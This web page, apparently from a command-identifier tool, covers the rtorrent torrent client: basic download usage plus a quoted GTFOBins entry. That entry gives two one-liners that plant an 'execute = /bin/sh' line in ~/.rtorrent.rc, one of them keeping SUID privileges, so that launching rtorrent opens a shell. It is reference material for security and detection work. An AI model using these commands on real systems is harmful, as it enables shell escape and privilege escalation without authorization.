Identifier / Programs / Linux and Unix
rtorrent
Download torrents. tldr-pages
GTFOBins shell 1 documented command
How rtorrent is abused
shell
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for rtorrent.
1 documented command
shell unprivileged, with sudo, as SUID
After the shell, exit with Ctrl-Q.
echo 'execute = /bin/sh,-c,"/bin/sh </dev/tty >/dev/tty 2>/dev/tty"' >~/.rtorrent.rc
rtorrentAs SUID:
echo 'execute = /bin/sh,-p,-c,"/bin/sh -p </dev/tty >/dev/tty 2>/dev/tty"' >~/.rtorrent.rc
rtorrentThe command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for rtorrent. The identifier reads the line that runs rtorrent.
Everyday use
Add a torrent file or magnet to be downloaded
rtorrent torrent_or_magnetIdentifyStart the download
<Ctrl s>View details about downloading torrent
<ArrowRight>The example the identifier reads matches no GTFOBins abuse and trips no Sigma process-creation rule.